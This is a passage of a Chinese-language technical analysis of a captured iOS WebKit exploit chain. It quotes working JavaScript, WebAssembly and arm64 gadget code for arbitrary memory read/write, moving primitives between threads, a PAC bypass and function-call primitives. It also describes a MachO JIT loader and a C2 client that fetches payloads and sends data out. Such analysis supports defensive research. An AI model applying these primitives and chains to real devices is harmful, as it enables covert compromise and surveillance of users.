let obj_before_target = exploit_module.tmpOptArr[255]; // c
obj_before_target[0] = 1.1;
obj_before_target[1] = 1.1;
obj_before_target[2] = 1.1;
obj_before_target[3] = 1.1;
obj_before_target[4] = 1.1;

之后他们基于 Float64 数组获得读写能力。这是通过首先获取对象的合法结构 ID 并将其设置在 targetObj 上来完成的。

之后他们使用 addrof 原语找出哪个对象在 targetObj 后面，并读取浮点数组的地址以及 targetObj 的 butterfly 指针。

然后他们使用相对越界写入原语损坏与 targetObj 相邻对象的 butterfly 指针，使其指向浮点数组的 butterfly 指针（这样他们就可以覆盖它）。

最后他们 JIT 两个函数：一个覆盖浮点数组的 butterfly 指针指向任意地址然后从中读取/写入，之后将其重置为 targetObj 的值。同样，我不确定为什么他们决定将浮点数组的 butterfly 指针重置为 targetObj 的值而不是原始值。

3.2.5.1. 读写函数详细分析

（点击展开） 读写函数如下，并以如下方式被 JIT 编译：

function read_jit() {
    let float_arr = rw_pair[0];
    let float_arr_obj = rw_pair[1];
    float_arr[2] = 3.3;
    float_arr_obj[0] = f64_arrbuf7[0]; // 要读取的地址
    useless[1] = 3.3;
    f64_arrbuf7[0] = float_arr[0]; // 正在读取的值
    float_arr_obj[0] = f64_arrbuf7[1]; // 重置
    return f64_arrbuf7[0] // 返回读取的值
}
for (let t = 0; t < 1048576; t++) {
    useless = new Array(1, 2, 3);
    read_jit(t + 3.3);
    read_jit(t + .1)
}

function write_jit() {
    let float_arr = rw_pair[0];
    let float_arr_obj = rw_pair[1];
    float_arr[2] = 3.3;
    float_arr_obj[0] = f64_arrbuf7[0];
    useless[1] = 3.3;
    float_arr[0] = f64_arrbuf7[2];
    float_arr_obj[0] = f64_arrbuf7[1]
}
for (let t = 0; t < 1048576; t++) {
    useless = new Array(1, 2, 3);
    write_jit(t + 3.3, 13.37);
    write_jit(t + 3.3, 13.37)
}

rw_pair 包含 butterfly 指针被损坏的浮点数组和相邻对象，其 butterfly 指针指向该数组的 butterfly 指针。

我假设 useless 以及对浮点数组本身的访问的原因仅仅是为了生成有利的 JIT 模式。推测他们无法证明 useless 是无副作用的，所以需要在 JIT 中重新加载 butterfly 指针，然后立即重置以避免 GC 问题。

之后他们升级了读取原语，我假设是为了能够读取所有值，而不仅仅是有效的浮点数。为此他们利用了 butterfly 的长度存储在 butterfly 本身内部这一事实，所以当他们修改数组的 butterfly 指针然后访问数组的 length 属性时，他们获得了一个 32 位读取。这同样是用 JIT 代码完成的，我假设是为了避免运行时检查。此时他们也将 addrof 原语升级为使用读取而不是原始版本，可能同样是为了能够读取所有值。

3.2.5.2. 32 位读取函数详细分析

（点击展开） 首先他们需要 JIT 获取长度的读取函数：

let read_abused_arr = new Array(4096).fill(13.37);
function jitted_read_abused_arr_len() {
    return read_abused_arr.length
}
for (let t = 0; t < 0x100000; t++) jitted_read_abused_arr_len(t + .1);

然后他们设置读取：

const read_abused_arr_addr = m.addrof(read_abused_arr);
const read_abused_arr_orig_backend_ptr = m.read(read_abused_arr_addr + 8);
m.stage2_read = function(t) { // Ys
    m.write_v1(read_abused_arr_addr + 8, t + 8);
    let i = jitted_read_abused_arr_len();
    m.write_v1(read_abused_arr_addr + 8, read_abused_arr_orig_backend_ptr);
    return i >>> 0
};

并且还提供了多个版本的读写原语，读取不同的大小和类型。

最后他们通过在数组中设置值然后用读取函数读取它们来验证他们的原语，然后用写入函数更改它们并从 JS 中读回。

至此，读写原语本身已告完成，但他们还需要将这些原语传递给一个读写类。这个类使用 WebAssembly 来进行实际的读写，所以让我们接下来看看这个。

3.2.6. WebAssembly 读写类

wasm 读写类初始化了两个非常简单的 wasm 模块：

(module
(type (;0;) (func (result i64)))
(type (;1;) (func (param i64)))
(func (;0;) (type 0) (result i64)
    global.get 1)
(func (;1;) (type 1) (param i64)
    local.get 0
    global.set 1)
(table (;0;) 1 externref)
(memory (;0;) 1)
(global (;0;) (mut v128) (v128.const i32x4 0x33333333 0x33333333 0x33333333 0x33333333))
(global (;1;) (mut i64) (i64.const -6067004223159161907))
(global (;2;) (mut v128) (v128.const i32x4 0x33333333 0x33333333 0x33333333 0x33333333))
(global (;3;) (mut externref) (ref.null extern))
(global (;4;) (mut externref) (ref.null extern))
(global (;5;) (mut externref) (ref.null extern))
(global (;6;) (mut externref) (ref.null extern))
(global (;7;) (mut externref) (ref.null extern))
(export "edfy" (global 1))
(export "memory" (memory 0))
(export "btl" (func 0))
(export "alt" (func 1)))

他们定义了两个函数 btl 和 alt，分别读取和写入一个 wasm i64 全局变量。通过已建立的原语，可以将第一个实例的全局值指针设置为第二个实例的全局值指针，然后他们可以将其用于对任意地址的读写。此外，漏洞利用清除了 m_globalsToMark 以避免 GC 触及全局变量并可能导致进程崩溃。从那时起，addrof 原语通过获取 JS 对象的地址（使用旧的 addrof），将一个对象设置到其内联属性中，然后从中读取来工作。

读写模块然后导出许多有用的函数来读取和写入不同的大小和类型，以及用数字类包装它们以使处理更容易。

3.2.7. 将读写转移到主线程

到目前为止，所有这些都发生在为漏洞利用创建的工作线程中。在那里漏洞利用现在拥有完整的读写能力，但攻击者需要以某种方式将其传输到主线程以继续在那里进行漏洞利用。为此，工作线程向主线程发出信号，然后主线程在主线程上调用以下流程：

const marker_array = JSON.parse(("[0.0, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, 10.10]")); // 他们这样做的原因是为了避免在栈上某处出现 5.5 这个数字
const rw = new rw_module; // c
const com_arr_towards_worker = rw.arr_obj_num_num_prop;
marker_array[0] = rw.numConv.bigint_to_f64(0xdeadn);
marker_array[1] = -0;
com_arr_towards_worker[0] = rw.webasm_instance;
com_arr_towards_worker[1] = rw.wasm_instance2;
const take_primitives = () => {
    const arr_to_find = [0x55432, com_arr_towards_worker, 0x55432, 0xFF432, marker_array, 0xFF432];
    const recursive_func = (t, ...e) => {
        try {
            recursive_func(t + 1, ...arr_to_find, ...e)
        } catch (t) {}
    };
    recursive_func(0, arr_to_find);
    if (marker_array[5] !== 6.6) {
        debug_log("");
        try {
            debug_log("");
            rw.ws = rw.numConv.f64_to_bigint(marker_array[0]);
            rw.ds = rw.numConv.f64_to_bigint(marker_array[1]);
            rw.ys = rw.numConv.f64_to_bigint(marker_array[2]);
            rw.As = rw.numConv.f64_to_bigint(marker_array[3]);
            rw.arr_obj_num_num_prop_addr = rw.numConv.f64_to_bigint(marker_array[4]);
            fingerprint_module.device_properties.rw = rw; // Xn
            t()
        } catch (t) {
            debug_log(t)
        }
    } else window.setTimeout(take_primitives, 0)
};

代码将循环地把递归函数及其参数压入栈中，直到 marker_array[5] 发生预期中的变化。与此同时，工作线程从 wasm 实例追溯至其 C++ 后端对象，再由此抵达 VM 对象。VM 对象然后方便地存储一个指向栈的指针（m_softStackLimit），工作线程可以从那里使用读写来尝试找到主线程正在推送的标记：

for (let offset = -0x1800n; offset > -0x3000n; offset -= 0x8n) {
    const addr2check = stack_base - offset;
    // 检查是否有标记
    if (_rw.read64(addr2check) == 0xfffe000000055432n &&
        _rw.read64(addr2check + 0x8n * 2n) == 0xfffe000000055432n &&
        _rw.read64(addr2check + 0x8n * 3n) == 0xfffe0000000ff432n &&
        _rw.read64(addr2check + 0x8n * 5n) == 0xfffe0000000ff432n) {

一旦找到上面名为 arr_to_find 的数组，它就可以从那里读取 com_arr_towards_worker 和 marker_array，然后写入它们的 butterfly 并损坏主线程的两个 wasm 实例以获得读写：

const com_arr_towards_worker = _rw.read64(addr2check + 0x8n * 1n);
const com_arr_towards_worker_butterfly = _rw.read64(com_arr_towards_worker + 0x8n);
const marker_array = _rw.read64(addr2check + 0x8n * 4n);
const marker_array_butterfly = _rw.read64(marker_array + 0x8n);
const wasm_i1 = _rw.read64(com_arr_towards_worker_butterfly);
const wasm_i1_cpp = _rw.read64(wasm_i1 + toBigInt(offsets[webasm_js_to_cpp_instance]));
const wasm_i1_cpp_globals = wasm_i1_cpp + toBigInt(offsets[webasm_cpp_instance_global_0_off]);
const wasm_i2 = _rw.read64(com_arr_towards_worker_butterfly + 0x8n);
const wasm_i2_cpp = _rw.read64(wasm_i2 + toBigInt(offsets[webasm_js_to_cpp_instance]));
const wasm_i2_cpp_globals = wasm_i2_cpp + toBigInt(offsets[webasm_cpp_instance_global_0_off]);

_rw.w64_wrapper(wasm_i2_cpp + toBigInt(offsets[wasm_cpp_gc_mark]), 0x8000000000000000n);
_rw.w64_wrapper(wasm_i1_cpp + toBigInt(offsets[wasm_cpp_gc_mark]), 0x8000000000000000n);
_rw.w64_wrapper(wasm_i1_cpp_globals, wasm_i2_cpp_globals);
_rw.w64_wrapper(marker_array_butterfly + 0x0n, wasm_i2_cpp);
_rw.w64_wrapper(marker_array_butterfly + 0x8n, wasm_i2_cpp_globals);
_rw.w64_wrapper(marker_array_butterfly + 0x10n, wasm_i1_cpp);
_rw.w64_wrapper(marker_array_butterfly + 0x18n, wasm_i1_cpp_globals);
_rw.w64_wrapper(marker_array_butterfly + 0x20n, com_arr_towards_worker);
_rw.w64_wrapper(marker_array_butterfly + 0x28n, 0x0n);

有了这些，他们终于在主线程上获得了读写能力——真是一段漫长的旅程！

他们的下一个高层目标是在 WebContent 进程内执行原生代码以运行他们的 LPE，但在加载和链接动态库之前，他们首先需要获得一个函数调用原语。为此，在更新的设备上需要 PAC 绕过，所以让我们接下来看看他们是如何实现这一点的。

3.3. WebKit 代码执行

本节我们将探讨 PAC 绕过（seedbell_17）。它利用了某些动态库的 const 段可写这一事实，可以覆盖未签名的 GOT 条目，然后触发对其的签名操作，以及他们如何通过 wasm 将其升级为 8 参数函数调用原语。

3.3.1. PAC 绕过

一旦漏洞利用获得读写能力，代码执行便返回主模块。现在它将通过从 WebAssembly.Table 和 WebAssembly.Instance 对象获取函数指针并检查它们是否共享相同的高位来检测 PAC。如果不共享，漏洞利用假定 PAC 已启用（这是有道理的，因为 JSC 内的地址应该始终共享相同的高位，但每个指针上的 PAC 位会不同）。之后他们将该指针对齐到页面边界，然后向后扫描 JSC 二进制文件的 MachO 头部（通过 0xFEEDFACF 标识）。一旦找到，他们可以读取 CPU 类型来确定设备是 x86、arm64 还是 arm64e。这是他们最后一次根据 CPU 类型更新设备特定的偏移量，之后他们冻结该对象。

本次捕获中检测到了 PAC，这意味着他们现在需要获取签名器。

这是通过选择一个 PAC 绕过（对于此捕获针对 iOS 17.1，即 seedbell_17）然后执行它来完成的，它将把一个签名器类导出回主模块，允许它使用任何密钥和修饰符签名指针。

对于 seedbell_17，除了主 PAC 绕过模块（29b874a9a6cc9fa9d487b31144e130827bf941bb）之外，他们还将加载一个辅助模块（477db22c8e27d5a7bd72ca8e4bc502bdca6d0aba），该模块由 6 个类组成：

• 一个 dyld 共享缓存的包装器，解析其中的所有 MachO，然后导出一个基于路径获取 MachO 的函数
• 一个 MachO 包装器，导出获取 MachO 段或符号的能力
• 一个处理/解析 dyld 导出链的辅助类
• 一个处理内存缓冲区的辅助类，允许你跳过/查找和从缓冲区读取，类似于 Python 中的 io.BytesIO
• 一个处理 arm64 汇编的辅助类，用于查找交叉引用、代码序列和解码跳转等
• 一个使用其他类来查找 PAC 绕过所需的特定 gadget 的类

由于原始 seedbell 并未加载这个辅助模块，我推测这是后来添加的——当他们意识到 seedbell 的 gadget 可能会不断变化，希望更便利地解析 dyld 共享缓存以寻找 gadget 时。

主 PAC 绕过模块然后有 11 个类，它们大致可以分为：

• 签名器类和围绕它处理 JS 数字的包装器——这基本上支持使用任何密钥和上下文进行签名，也是导出到链其余部分的类
• 提供几种不同限制参数的调用原语的类
• 一个通用调用器，可以命名为 WasmJitCageCallPrimitive，因为他们在最终漏洞利用中留下了一个异常字符串
• 管理内存的辅助类（free、malloc 等）

我认为按获得原语的顺序来解释 PAC 绕过模块是有意义的，所以让我们从调用器开始：

为此他们创建一个 Intl.Segmenter 对象，将其置于准备分割文本的状态，然后修改其内部状态。

具体来说他们：

• 在 RBBIDataWrapper 的 fForwardTable 中创建一个伪造的匹配数组以保证调用访问文本
• 用他们想要调用的 PACIZA 指针覆盖访问函数
• 用他们想要用 PACIZA 指针调用的 x1 值覆盖 fText_chunkNativeLimit
• 执行 segment_iter.next().value; 来触发调用
• 恢复表和 PACIZA 函数指针数组对象

为此他们需要几个内存缓冲区，在这个阶段他们通过创建一个数组缓冲区然后操作其后端存储来获取它们。

至此，他们获得了一个可完全控制 x1 的 PACIZA 调用原语。基于此他们获得了另外两个原语：一个提供任意 x0、x1 和 x2 的调用原语，另一个可以用任意 x0、x1、x2 和 x3 调用任意 PACIZA 指针，但 x0 和 x1 是相同的值。在这两个新原语中，他们还通过将返回值存储到内存并在调用后读回来获取调用的返回值。

3.3.1.1. 早期 PACIZA 原语的调用链

（点击展开） 对于前者，使用以下调用链：

_autohinter_iterator_end:
c10000b4  cbz x1, 0x18
221040f9  ldr x2, [x1, 0x20] - enet_allocate_packet_payload_default
820000b4  cbz x2, 0x18
200440f9  ldr x0, [x1, 8] - buf5_80
211840f9  ldr x1, [x1, 0x30] - buf4_768
5f081fd6  braaz x2
c0035fd6  ret

enet_allocate_packet_payload_default:
7f2303d5  pacibsp
f44fbea9  stp x20, x19, [sp, -0x20]!
fd7b01a9  stp x29, x30, [sp, 0x10]
fd430091  add x29, sp, 0x10
f30300aa  mov x19, x0
48100fb0  adrp x8, 0x1e209000
086d41f9  ldr x8, [x8, 0x2d8]
e00301aa  mov x0, x1 - buf4_768
1f093fd6  blraaz x8 - _HTTPConnectionFinalize
f40300aa  mov x20, x0
800000b5  cbnz x0, 0x38
48100fb0  adrp x8, 0x1e209000
087541f9  ldr x8, [x8, 0x2e8]
1f093fd6  blraaz x8 - xmlSAX2GetPublicId_ref
740a00f9  str x20, [x19, 0x10] - 存储到 buf5_80+0x10
fd7b41a9  ldp x29, x30, [sp, 0x10]
f44fc2a8  ldp x20, x19, [sp], 0x20
ff0f5fd6  retab

_HTTPConnectionFinalize: // 其中有一些 CFRelease 调用等被跳过了，因为指针为空（为可读性省略）
PACIBSP
STP             X20, X19, [SP,#-0x10+var_10]!
STP             X29, X30, [SP,#0x10+var_s0]
ADD             X29, SP, #0x10
MOV             X19, X0
LDR             X8, [X0,#0x40]
CBZ             X8, loc_192E60A8C
LDR             X1, [X19,#0x28]
MOV             X0, X19
BLRAAZ          X8

LDR             X0, [X19,#0x138] ; cf
CBNZ            X0, loc_192E60AD0
LDR             X8, [X19,#0x158]
CBZ             X8, loc_192E60AF4
LDR             X0, [X19,#0x148]
BLRAAZ          X8

                        ; CODE XREF: __HTTPConnectionFinalize+84↑j
LDR             X8, [X19,#0x178] - _autohinter_iterator_begin_paciza
LDR             W0, [X19,#0x88] ; int
CBZ             X8, loc_192E60B20
LDP             X1, X2, [X19,#0x180] - x1/buf1_80
LDR             X3, [X19,#0x190] - 0x1CCCCCCC
BLRAAZ          X8

                        ; CODE XREF: __HTTPConnectionFinalize+C4↓j
                        ; __HTTPConnectionFinalize+D0↓j ...
MOV             W8, #0xFFFFFFFF
STR             W8, [X19,#0x88]

                        ; CODE XREF: __HTTPConnectionFinalize:loc_192E60B20↓j
LDP             X29, X30, [SP,#0x10+var_s0]
LDP             X20, X19, [SP+0x10+var_10],#0x20
RETAB

_autohinter_iterator_begin:
c20000b4  cbz x2, 0x18
430840f9  ldr x3, [x2, 0x10] - dict.ab
830000b4  cbz x3, 0x18
400440f9  ldr x0, [x2, 8] - dict.sb
421840f9  ldr x2, [x2, 0x30] - dict.x2
7f081fd6  braaz x3
c0035fd6  ret

对于后者，他们调用以下调用链：

_autohinter_iterator_end:
c10000b4  cbz x1, 0x18
221040f9  ldr x2, [x1, 0x20] - _HTTPConnectionFinalize_paciza
820000b4  cbz x2, 0x18
200440f9  ldr x0, [x1, 8] - buf2_544
211840f9  ldr x1, [x1, 0x30] - 0
5f081fd6  braaz x2
c0035fd6  ret

_HTTPConnectionFinalize: // 其中有一些 CFRelease 调用等被跳过了，因为指针为空（为可读性省略）
PACIBSP
STP             X20, X19, [SP,#-0x10+var_10]!
STP             X29, X30, [SP,#0x10+var_s0]
ADD             X29, SP, #0x10
MOV             X19, X0
LDR             X8, [X0,#0x40]
CBZ             X8, loc_192E60A8C
LDR             X1, [X19,#0x28]
MOV             X0, X19
BLRAAZ          X8

LDR             X0, [X19,#0x138] ; cf
CBNZ            X0, loc_192E60AD0
LDR             X8, [X19,#0x158]
CBZ             X8, loc_192E60AF4
LDR             X0, [X19,#0x148]
BLRAAZ          X8

                        ; CODE XREF: __HTTPConnectionFinalize+84↑j
LDR             X8, [X19,#0x178] - _EdgeInfoCFArrayReleaseCallBack_paciza
LDR             W0, [X19,#0x88] ; int
CBZ             X8, loc_192E60B20
LDP             X1, X2, [X19,#0x180] - early_malloc_buffer/x2
LDR             X3, [X19,#0x190] - x3 (ib)
BLRAAZ          X8

                        ; CODE XREF: __HTTPConnectionFinalize+C4↓j
                        ; __HTTPConnectionFinalize+D0↓j ...
MOV             W8, #0xFFFFFFFF
STR             W8, [X19,#0x88]

                        ; CODE XREF: __HTTPConnectionFinalize:loc_192E60B20↓j
LDP             X29, X30, [SP,#0x10+var_s0]
LDP             X20, X19, [SP+0x10+var_10],#0x20
RETAB

_EdgeInfoCFArrayReleaseCallBack:
7f2303d5  pacibsp
f44fbea9  stp x20, x19, [sp, -0x20]!
fd7b01a9  stp x29, x30, [sp, 0x10]
fd430091  add x29, sp, 0x10
f30301aa  mov x19, x1
f40300aa  mov x20, x0
290440f9  ldr x9, [x1, 8] - buf4_80
280940f9  ldr x8, [x9, 0x10] - enet_allocate_packet_payload_default_paciza
880000b4  cbz x8, 0x30
200140f9  ldr x0, [x9] - buf3_80
610240f9  ldr x1, [x19] - sb
1f093fd6  blraaz x8
e00314aa  mov x0, x20
e10313aa  mov x1, x19
fd7b41a9  ldp x29, x30, [sp, 0x10]
f44fc2a8  ldp x20, x19, [sp], 0x20
ff2303d5  autibsp
d0071eca  eor x16, x30, x30, lsl 1
5000f0b6  tbz x16, 0x3e, 0x50
208e38d4  brk 0xc471
08590514  b 0x156470

enet_allocate_packet_payload_default:
7f2303d5  pacibsp
f44fbea9  stp x20, x19, [sp, -0x20]!
fd7b01a9  stp x29, x30, [sp, 0x10]
fd430091  add x29, sp, 0x10
f30300aa  mov x19, x0
48100fb0  adrp x8, 0x1e209000
086d41f9  ldr x8, [x8, 0x2d8] - dict.ab
e00301aa  mov x0, x1
1f093fd6  blraaz x8
f40300aa  mov x20, x0
800000b5  cbnz x0, 0x38
48100fb0  adrp x8, 0x1e209000
087541f9  ldr x8, [x8, 0x2e8]
1f093fd6  blraaz x8 - xmlSAX2GetPublicId_ref
740a00f9  str x20, [x19, 0x10] - 存储到 buf3_80 + 0x10
fd7b41a9  ldp x29, x30, [sp, 0x10]
f44fc2a8  ldp x20, x19, [sp], 0x20
ff0f5fd6  retab

xmlSAX2GetPublicId_ref:
mov x0, 0
ret

奇怪的是，这套调用链过于复杂；我不理解他们为何不能精简 gadget 数量。所有 PACIZA 指针都来自 dyld 共享缓存中以签名形式存储的区域，可以从中读取。过度使用这些 gadget 会在被捕获时消耗更多这些指针，所以我本以为会有强烈的动机来减少使用的 gadget 数量。

有了这两个原语，他们准备好执行 PAC 绕过，并且也获得了调用 malloc 的能力（通过使用指向 _xmlMalloc 的 PACIZA 指针）。

对于 PAC 绕过，他们使用调用原语创建一个 [NSUUID UUID] 对象，然后在其上调用 cksqlcs_blobBindingValue:destructor:error:。他们对 error: 没有任何控制权，但这似乎不重要。

这将进入 [CKSQLiteCompiledStatementBindingValues cksqlcs_blobBindingValue:destructor:error:]（在 CloudKit 中实现），如下所示：

PACIBSP
STP             X24, X23, [SP,#-0x10+var_30]!
STP             X22, X21, [SP,#0x30+var_20]
STP             X20, X19, [SP,#0x30+var_10]
STP             X29, X30, [SP,#0x30+var_s0]
ADD             X29, SP, #0x30
MOV             X19, X3
MOV             X20, X2
MOV             X21, X0
MOV             W23, #0x10
MOV             W0, #0x10
MOV             W1, #0x69EEEF37
BL              _malloc_type_malloc_8
MOV             X22, X0
MOV             X0, X21
MOV             X2, X22
BL              _objc_msgSend$getUUIDBytes_
STR             X23, [X20]
ADRP            X16, #_free_ptr@PAGE
LDR             X16, [X16,#_free_ptr@PAGEOFF]
PACIZA          X16
STR             X16, [X19]
MOV             X0, X22
LDP             X29, X30, [SP,#0x30+var_s0]
LDP             X20, X19, [SP,#0x30+var_10]
LDP             X22, X21, [SP,#0x30+var_20]
LDP             X24, X23, [SP+0x30+var_30],#0x40
RETAB

如你所见，他们 malloc 一个 0x10 字节的对象，将 UUID 的字节存储在其中，然后从 GOT 加载指向 _free_ptr 的指针，对其进行 PACIZA 签名，然后将其存储在作为参数传入的析构函数指针中。这本身并非安全漏洞，而是一个安全弱点——_free_ptr 在源代码中可能被定义为 void*，因此编译器无法对其进行 PAC 签名，因为它不是函数指针；但当它被赋值给析构函数时，它被转换为函数指针，编译器必须在那里对其进行签名。

3.3.1.2. 复现弱代码模式

（点击展开） 该模式可以用以下代码复现：

typedef size_t (*fn_t)(const char *s);
fn_t f(void)
{
    return strlen;
}

这将为 f 生成以下汇编：

adrp x16, reloc.strlen
ldr x16, [x16]
paciza x16
mov x0, x16
ret

这本身并非安全漏洞，因为指针位于 GOT 内部，而 GOT 属于 __DATA_CONST 段，因此是只读的。但问题在于还有一个链接器弱点，在某些情况下会阻止链接器将 __DATA_CONST 段保护为只读。具体来说，dyld 在 segmentSupportsDataConst 和 assignDataSegmentAddresses 中有代码，如果二进制文件具有以下条件，则不会将 __DATA_CONST 保护为只读：

• Swift 代码和 __objc_const 段，因为 Swift 在 __objc_const 内部有一些可变数据需要在执行期间修改
• 基于指针的 objc 方法列表，因为它们会将函数指针存储在 const 段内，然后调用 setIMP 来更改它们会导致崩溃
• 解析器函数
• libcrypto.0.9.8.dylib，由于某种原因会写入 __DATA_CONST

我认为其中最紧迫的是 Swift，这也是为什么我推测 Apple 直到 iOS 18 beta 1 才解决这个问题的原因。从那时起，链接器将始终将 __DATA_CONST 保护为只读，并且引入了 __LATE_CONST 和 __TPRO_CONST 来处理边缘情况。

我假设 seedbell 和 seedbell_16.6 非常相似，它们被关闭要么是因为它们所在的动态库不再属于上述四个类别之一，要么是因为签名指针的流程不再可达。

有了这个，他们然后可以签名 _xmlHashScanFull，这给了他们一个完整的 x0-x5 调用原语，但 x0 不能为非空。

这个签名功能然后被导出回主模块。

最后，他们还实现了一个支持最多 8 个参数调用的类。

为此他们使用一个定义了 3 个函数的 wasm 模块。它们在函数 f 中接收 16 个 32 位参数，然后将它们打包成 8 个 64 位值，最后调用 o，但使用读写，漏洞利用将 o 的 JIT 跳板函数指针替换为目标函数的指针，给了他们一个不错的 8 参数调用原语。为了正确签名目标函数指针，他们 PACIZA 签名 _jitCagePtr 然后用它来签名目标函数。之后 wasm 将 64 位返回值作为两个 i32 存储到内存中，JavaScript 可以从那里检索它。不支持超过 8 个参数的原因是，之后根据 Apple 的调用约定，剩余的参数会被推入栈中，我假设 wasm 调用约定是不同的。

3.3.1.3. 用于 8 参数调用原语的 Wasm 模块

（点击展开）

(module
  (type (;0;) (func (param i64 i64 i64 i64 i64 i64 i64 i64) (result i64)))
  (type (;1;) (func (param i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32) (result i64)))
  (type (;2;) (func (param i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32)))
  (func (;0;) (type 0) (param i64 i64 i64 i64 i64 i64 i64 i64) (result i64)
    i64.const 0)
  (func (;1;) (type 1) (param i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32) (result i64)
    local.get 1
    i64.extend_i32_u
    i64.const 32
    i64.shl
    local.get 0
    i64.extend_i32_u
    i64.or
    local.get 3
    i64.extend_i32_u
    i64.const 32
    i64.shl
    local.get 2
    i64.extend_i32_u
    i64.or
    local.get 5
    i64.extend_i32_u
    i64.const 32
    i64.shl
    local.get 4
    i64.extend_i32_u
    i64.or
    local.get 7
    i64.extend_i32_u
    i64.const 32
    i64.shl
    local.get 6
    i64.extend_i32_u
    i64.or
    local.get 9
    i64.extend_i32_u
    i64.const 32
    i64.shl
    local.get 8
    i64.extend_i32_u
    i64.or
    local.get 11
    i64.extend_i32_u
    i64.const 32
    i64.shl
    local.get 10
    i64.extend_i32_u
    i64.or
    local.get 13
    i64.extend_i32_u
    i64.const 32
    i64.shl
    local.get 12
    i64.extend_i32_u
    i64.or
    local.get 15
    i64.extend_i32_u
    i64.const 32
    i64.shl
    local.get 14
    i64.extend_i32_u
    i64.or
    i32.const 0
    call_indirect (type 0)
    return)
  (func (;2;) (type 1) (param i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32) (result i64)
    local.get 0
    local.get 1
    local.get 2
    local.get 3
    local.get 4
    local.get 5
    local.get 6
    local.get 7
    local.get 8
    local.get 9
    local.get 10
    local.get 11
    local.get 12
    local.get 13
    local.get 14
    local.get 15
    call 1
    return)
  (func (;3;) (type 2) (param i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32)
    (local i64)
    local.get 0
    local.get 1
    local.get 2
    local.get 3
    local.get 4
    local.get 5
    local.get 6
    local.get 7
    local.get 8
    local.get 9
    local.get 10
    local.get 11
    local.get 12
    local.get 13
    local.get 14
    local.get 15
    call 2
    local.set 16
    i32.const 0
    local.get 16
    i32.wrap_i64
    i32.store
    i32.const 4
    local.get 16
    i64.const 32
    i64.shr_u
    i32.wrap_i64
    i32.store
    return)
  (table (;0;) 2 funcref)
  (memory (;0;) 1 1)
  (export "t" (table 0))
  (export "m" (memory 0))
  (export "o" (func 0))
  (export "f" (func 3))
  (elem (;0;) (i32.const 0) func 0))

这个类的名称在一个错误消息中泄露了（new Error(("WasmJitCageCallPrimitive only supports 8 register args, got ") + (args.length))）。我怀疑原因是字符串是在错误消息中组装的而不是原始字符串，这意味着当他们剥离所有字符串时它没有被替换。

3.3.2. 回到主模块

签名器和调用器被导出至主模块后，他们随即调用一个函数来验证签名。这基本上验证了签名一个 PAC 剥离的 wasm 函数指针是否返回与原始指针相同的结果。

3.4. JS MachO 加载模块

一旦漏洞利用获得 PAC 签名与函数调用原语，主模块便会加载一个负责获取 LPE 阶段的 MachO JIT 加载模块。有两个不同的潜在加载器，但对于此捕获选择了 c03c6f666a04dd77cfe56cda4da77a131cbb8f1c，它将加载并跳转到 PE 阶段。它将加载一个辅助模块（b5135768e043d1b362977b8ba9bff678b9946bcb），该模块又加载另一个模块（ba712ef6c1bf20758e69ab945d2cdfd51e53dcd8）。这两个都是通过 base64 在父载荷内部加载的。后者是又一个 dyld 共享缓存和 MachO 解析器，而前者负责将 MachO 二进制文件加载到 JIT 区域并使其可运行。外层充当编排器。我们将在本节中逐一查看它们。

3.4.1. MachO 解析器（第2个）

与 seedbell 通用辅助模块类似，该模块包含一个用于 dyld 共享缓存的类和一个 MachO 类，前者使用后者将缓存中的所有动态库加载到其中，以及用于处理 MachO 及其符号的辅助类。

奇怪的是，虽然与 seedbell 的辅助模块有相似之处，但它看起来像是一个完整的重新实现（或者更确切地说 seedbell 的辅助模块是重新实现，因为它是后来发布的），使用了自己的数字辅助类，以及使用函数来解析 MachO 而不是将其嵌入到 MachO 类中。我真的不理解这个设计决策背后的原因，因此我假设这是因为代码库已经发展，最终 PAC 绕过需要自己的 dyld 共享缓存解析器。

3.4.2. JIT 加载器模块

第一步，编排器将调用此模块中的一个函数，该函数重新创建了前文所述的 WasmJitCageCallPrimitive，从而提供一个 8 参数调用原语。代码看起来是复制粘贴的，甚至 wasm 代码也 1:1 匹配，但在这种情况下错误消息被正确剥离了。我再次不知道为什么这被导出了两次，但假设过去漏洞利用链在这个早期阶段不需要 8 参数调用原语，所以他们只在 PE 加载器中导出它，后来也因为 PAC 绕过需要它而添加了它。

之后编排器将创建 JIT 加载器类。在构造期间，此类将根据 JSC 中可用的代码选择可行的加载策略。它将检查：

• WTF::MetaAllocator::allocate(unsigned long, void*) 或替代的 WTF::MetaAllocator::allocate(WTF::Locker<WTF::Lock> const&, unsigned long) 是否可用
• 然后查找 JSC::LinkBuffer::linkCode(JSC::MacroAssembler&, void*, JSC::JITCompilationEffort) 或 JSC::LinkBuffer::linkCode(JSC::MacroAssembler&, JSC::JITCompilationEffort)
• 最后查找 JSC::ExecutableMemoryHandle::createImpl(unsigned long)

如果找不到 JSC::ExecutableMemoryHandle::createImpl(unsigned long)，它将生成随机 JS 代码（基本上是一些不可折叠的数学运算）并对其进行 JIT 编译，然后读取指针链以获取函数在 JIT 区域中的指针。基于可用的函数，他们然后准备汇编来处理加载代码。这要么使用 pacda 或 pacdb 指令完成，要么使用 xor 和 pacdzb/pacdb 的混合完成。他们还有相同的代码作为 JS 实现，因为最初他们需要通过 JS 加载此 shellcode，然后使用它来”哈希”更大的代码段以加速。

随后创建 C2C JS 客户端。其基本机制是：稍后从 MachO 内部启动一个新线程，然后返回到 JS 代码执行。这样他们就可以通过后端缓冲区维护与 JS 的通信通道，允许他们通过 JS 进行网络操作（例如获取新的载荷或将数据发送回服务器）。C2C 客户端有八个状态：

• 初始 (0)：C2C 在其运行循环中空闲等待命令
• 下载请求 (1)：原生代码请求下载并将状态更改为此处
• 下载中/发送中 (2)：C2C 接管请求并正在下载数据（或在状态 7 时发送）
• 已下载 (3)：C2C 下载了数据并将其复制到缓冲区
• 错误 (4)：C2C 遇到错误——在这种情况下它还会向服务器发送带有错误参数的 GET 请求
• 退出中 (5)：这再次由原生代码设置并将退出运行循环
• 更新 DOM (6)：C2C 将插入一个随机 div 并更新 url，然后 10 秒后再次删除它。我假设这是为了保持页面”活跃”
• 发送数据 (7)：向服务器发送数据

